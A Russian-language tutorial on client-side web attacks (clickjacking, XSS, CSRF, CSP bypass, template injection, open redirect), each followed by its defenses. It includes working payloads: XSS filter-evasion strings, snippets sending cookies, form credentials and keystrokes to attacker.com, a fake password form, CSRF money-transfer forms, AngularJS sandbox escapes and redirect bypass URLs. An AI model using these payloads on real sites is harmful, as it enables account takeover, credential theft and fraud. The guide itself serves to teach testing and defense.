Злоумышленники могут атаковать не только серверную часть приложения, но и клиентскую.
Clickjacking
Описание
Clickjacking (UI Redressing) — метод обмана пользователя, при котором злоумышленник накладывает невидимый слой поверх легитимной страницы. Когда пользователь кликает по видимым элементам, на самом деле происходит взаимодействие со скрытым слоем.
Механизм атаки
- Злоумышленник создает вредоносную страницу
- На страницу встраивается целевой сайт через
<iframe> - iframe делается невидимым через CSS (
opacity: 0) - Пользователь думает, что взаимодействует с безопасным контентом
- Фактически клики происходят по скрытому iframe
Пример кода
<!DOCTYPE html>
<html>
<head>
<style>
#target-website {
position: absolute;
width: 800px;
height: 600px;
opacity: 0;
z-index: 2;
}
#decoy-content {
position: absolute;
width: 800px;
height: 600px;
z-index: 1;
}
</style>
</head>
<body>
<div id="decoy-content">
<h1>Нажмите, чтобы получить приз!</h1>
<button>ПОЛУЧИТЬ</button>
</div>
<iframe id="target-website" src="https://bank.example.com/transfer"></iframe>
</body>
</html>
Возможные последствия
- Несанкционированные действия от имени пользователя
- Кража конфиденциальной информации
- Подписка на нежелательные сервисы
- Изменение настроек аккаунта
- Выполнение финансовых транзакций
Защита
На стороне сервера:
X-Frame-Options: DENY
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'none'
Content-Security-Policy: frame-ancestors 'self'
На стороне клиента (JavaScript):
if (top !== self) {
top.location = self.location;
}
Cross-Site Scripting (XSS)
Описание
XSS — уязвимость, позволяющая внедрить вредоносный код (обычно JavaScript) в веб-страницу, который будет выполнен в браузере других пользователей.
Типы XSS
1. Reflected XSS (Отраженный)
Вредоносный код передается через URL и отображается на странице без сохранения.
Пример:
https://example.com/search?q=<script>alert(document.cookie)</script>
2. Stored XSS (Хранимый)
Вредоносный код сохраняется на сервере (в БД, комментариях, профиле) и выполняется при каждом просмотре.
Пример:
<!-- Комментарий на форуме -->
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
3. DOM-Based XSS
Уязвимость возникает на стороне клиента при небезопасной обработке данных через JavaScript.
Уязвимые функции:
// Опасно!
eval(userInput);
document.write(userInput);
element.innerHTML = userInput;
location.href = userInput;
setTimeout(userInput, 1000);
setInterval(userInput, 1000);
// Безопасные альтернативы
element.textContent = userInput; // вместо innerHTML
element.innerText = userInput;
Продвинутые техники эксплуатации
Обход фильтров
// Изменение регистра
<ScRiPt>alert('XSS')</sCrIpT>
// Кодирование
<script>\u0061\u006C\u0065\u0072\u0074('XSS')</script>
%3Cscript%3Ealert('XSS')%3C/script%3E
// HTML entities
<script>alert('XSS')</script>
// Альтернативные теги
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
<body onload=alert('XSS')>
<iframe src="javascript:alert('XSS')">
<object data="javascript:alert('XSS')">
// Без скобок
<script>alert`XSS`</script>
<script>alert(String.fromCharCode(88,83,83))</script>
// События без пробелов
<img/src/onerror=alert('XSS')>
<svg/onload=alert('XSS')>
// Загрузка внешнего скрипта
<script src=//attacker.com/evil.js></script>
<script src="data:text/javascript,alert('XSS')"></script>
Возможности при эксплуатации XSS
- Кража cookies:
fetch('https://attacker.com/log?c=' + document.cookie);
- Кража учетных данных:
document.addEventListener('submit', function(e) {
let formData = new FormData(e.target);
fetch('https://attacker.com/creds', {
method: 'POST',
body: formData
});
});
- Keylogging:
document.addEventListener('keypress', function(e) {
fetch('https://attacker.com/keys?k=' + e.key);
});
- Изменение содержимого страницы:
document.body.innerHTML = '<h1>Сайт взломан!</h1>';
- Фишинг:
document.body.innerHTML = `
<form action="https://attacker.com/steal" method="POST">
<input name="password" placeholder="Введите пароль для продолжения">
<button>Войти</button>
</form>
`;
Защита от XSS
На стороне сервера:
# Python (Flask)
from flask import escape
output = escape(user_input)
# PHP
$output = htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
# Node.js
const escapeHtml = require('escape-html');
output = escapeHtml(userInput);
Content Security Policy:
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-random123'
HTTPOnly Cookie:
Set-Cookie: sessionid=abc123; HttpOnly; Secure; SameSite=Strict
Cross-Site Request Forgery (CSRF)
Описание
CSRF — атака, заставляющая аутентифицированного пользователя выполнить нежелательное действие на веб-приложении без его ведома.
Механизм атаки
- Пользователь авторизован на сайте
bank.com - Злоумышленник отправляет фишинговую ссылку
- При переходе автоматически выполняется запрос от имени пользователя
Примеры атак
GET запрос:
<img src="https://bank.com/transfer?to=attacker&amount=10000">
POST запрос:
<form action="https://bank.com/transfer" method="POST" id="csrf-form">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="10000">
</form>
<script>
document.getElementById('csrf-form').submit();
</script>
Через AJAX:
fetch('https://bank.com/transfer', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({to: 'attacker', amount: 10000})
});
Защита от CSRF
1. CSRF Token:
<!-- В форме -->
<form method="POST" action="/transfer">
<input type="hidden" name="csrf_token" value="random_unpredictable_token">
<input type="text" name="amount">
<button>Отправить</button>
</form>
# Проверка на сервере
if request.form['csrf_token'] != session['csrf_token']:
abort(403)
2. SameSite Cookie:
Set-Cookie: sessionid=abc123; SameSite=Strict
Set-Cookie: sessionid=abc123; SameSite=Lax
3. Проверка Referer/Origin:
if request.headers.get('Origin') != 'https://trusted-site.com':
abort(403)
4. Double Submit Cookie:
// Установить токен в cookie и форме
document.cookie = 'csrf_token=' + token;
form.csrf_token.value = token;
// На сервере сравнить значения
Content Security Policy (CSP) Bypass
Описание CSP
CSP — механизм безопасности, позволяющий ограничить источники контента, который может быть загружен и выполнен на странице.
Основные директивы
Content-Security-Policy:
default-src 'self';
script-src 'self' 'unsafe-inline' https://trusted.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
font-src 'self' https://fonts.gstatic.com;
connect-src 'self' https://api.example.com;
frame-src 'none';
object-src 'none';
base-uri 'self';
form-action 'self';
frame-ancestors 'none';
upgrade-insecure-requests;
Техники обхода CSP
1. Использование разрешенных доменов
Если в CSP разрешен доверенный домен с XSS:
Content-Security-Policy: script-src 'self' trusted-but-vulnerable.com;
<!-- Эксплуатация -->
<script src="https://trusted-but-vulnerable.com/xss.php?payload=alert(1)"></script>
2. JSONP endpoints
Content-Security-Policy: script-src 'self' api.example.com;
<script src="https://api.example.com/jsonp?callback=alert(document.domain)"></script>
3. AngularJS (старые версии)
Если разрешен 'unsafe-eval':
{{constructor.constructor('alert(1)')()}}
4. Загрузка через разрешенные CDN
Content-Security-Policy: script-src 'self' cdnjs.cloudflare.com;
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app ng-csp>
{{$eval.constructor('alert(1)')()}}
</div>
5. Base Tag Injection
Если нет base-uri:
<base href="https://attacker.com/">
<script src="/evil.js"></script>
6. Dangling Markup
<script src="data:text/javascript,alert('XSS')"></script>
Современная защита
Строгий CSP:
Content-Security-Policy:
default-src 'none';
script-src 'nonce-{random}' 'strict-dynamic';
style-src 'nonce-{random}';
img-src 'self';
connect-src 'self';
base-uri 'none';
frame-ancestors 'none';
Client-Side Template Injection (CSTI)
Описание
CSTI — внедрение вредоносного кода в шаблоны на стороне клиента (AngularJS, Vue.js, React и др.), приводящее к выполнению JavaScript.
AngularJS
Версии 1.0.1 - 1.5.8 (с sandbox)
// 1.2.0 - 1.2.1
{{constructor.constructor('alert(1)')()}}
// 1.2.24 - 1.2.29
{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)')}}
// 1.3.0 - 1.3.18
{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
'a'.constructor.prototype.charAt=[].join;
$eval('x=alert(1)//')}}
// 1.4.0 - 1.5.8
{{x = {'y':''.constructor.prototype};
x['y'].charAt=[].join;
$eval('x=alert(1)')}}
Версии 1.6.0+ (без sandbox)
{{constructor.constructor('alert(1)')()}}
{{[].pop.constructor('alert(1)')()}}
Vue.js
<div v-html="constructor.constructor('alert(1)')()"></div>
{{_c.constructor('alert(1)')()}}
React
// Dangerously Set innerHTML
<div dangerouslySetInnerHTML={{__html: userInput}} />
// Пример эксплуатации
userInput = "<img src=x onerror=alert(1)>"
Обнаружение CSTI
Тестовые payload:
{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}
*{7*7}
Если отображается 49 вместо самого выражения — возможна CSTI.
Инструменты
# Автоматический сканер для AngularJS
git clone https://github.com/tijme/angularjs-csti-scanner
python3 angularjs-csti-scanner.py -u https://target.com
Open Redirect
Описание
Open Redirect — уязвимость, позволяющая перенаправить пользователя на произвольный URL через параметр запроса.
Примеры уязвимых URL
https://example.com/redirect?url=https://evil.com
https://example.com/logout?next=https://evil.com
https://example.com/login?return=https://evil.com
https://example.com/oauth?redirect_uri=https://evil.com
Техники обхода защиты
# Whitelist bypass
https://example.com/redirect?url=https://example.com.evil.com
https://example.com/redirect?url=https://evil.com@example.com
https://example.com/redirect?url=https://evil.com%00.example.com
https://example.com/redirect?url=//evil.com
https://example.com/redirect?url=/\/evil.com
https://example.com/redirect?url=\/\/evil.com
# URL encoding
https://example.com/redirect?url=https%3A%2F%2Fevil.com
https://example.com/redirect?url=%68%74%74%70%73%3a%2f%2f%65%76%69%6c%2e%63%6f%6d
# Параметры в параметрах
https://example.com/redirect?url=https://example.com?url=https://evil.com
# JavaScript protocol
https://example.com/redirect?url=javascript:alert(1)
https://example.com/redirect?url=java%09script:alert(1)
Поиск через Google Dorks
inurl:url=http site:example.com
inurl:redirect=http site:example.com
inurl:return=http site:example.com
inurl:next=http site:example.com
inurl:redir=http site:example.com
inurl:dest=http site:example.com
inurl:destination=http site:example.com
inurl:out=http site:example.com
inurl:view=http site:example.com
Автоматизация
# Поиск с помощью OpenRedireX
git clone https://github.com/devanshbatham/OpenRedireX
python3 openredirex.py -l urls.txt -p payloads.txt --keyword FUZZ
# С помощью ffuf
ffuf -u https://example.com/redirect?url=FUZZ -w payloads.txt -mc 301,302,307,308
Защита
# Whitelist
ALLOWED_DOMAINS = ['example.com', 'trusted.com']
def is_safe_redirect(url):
parsed = urllib.parse.urlparse(url)
return parsed.netloc in ALLOWED_DOMAINS
# Относительные пути
if url.startswith('/') and not url.startswith('//'):
return redirect(url)
# Проверка на внутренний URL
if url.startswith(request.host_url):
return redirect(url)
Общие рекомендации по безопасности
Для разработчиков
- Валидация и санитизация входных данных
- Использование параметризованных запросов
- Установка правильных HTTP заголовков безопасности
- Регулярное обновление зависимостей
- Использование CSP с nonce/hash
- Включение HttpOnly, Secure, SameSite для cookies
Для пентестеров
- Используйте различные encoding техники
- Тестируйте разные контексты (HTML, JS, URL, CSS)
- Проверяйте все точки ввода данных
- Автоматизируйте с помощью инструментов, но проверяйте вручную
- Документируйте все находки с PoC
Полезные инструменты
- Burp Suite — перехват и модификация запросов
- OWASP ZAP — автоматическое сканирование
- XSStrike — поиск XSS уязвимостей
- CSP Evaluator — анализ CSP политик
- Nuclei — шаблоны для поиска уязвимостей
Дополнительные ресурсы
- OWASP Testing Guide
- PortSwigger Web Security Academy
- HackTricks
- PayloadsAllTheThings
- XSS Filter Evasion Cheat Sheet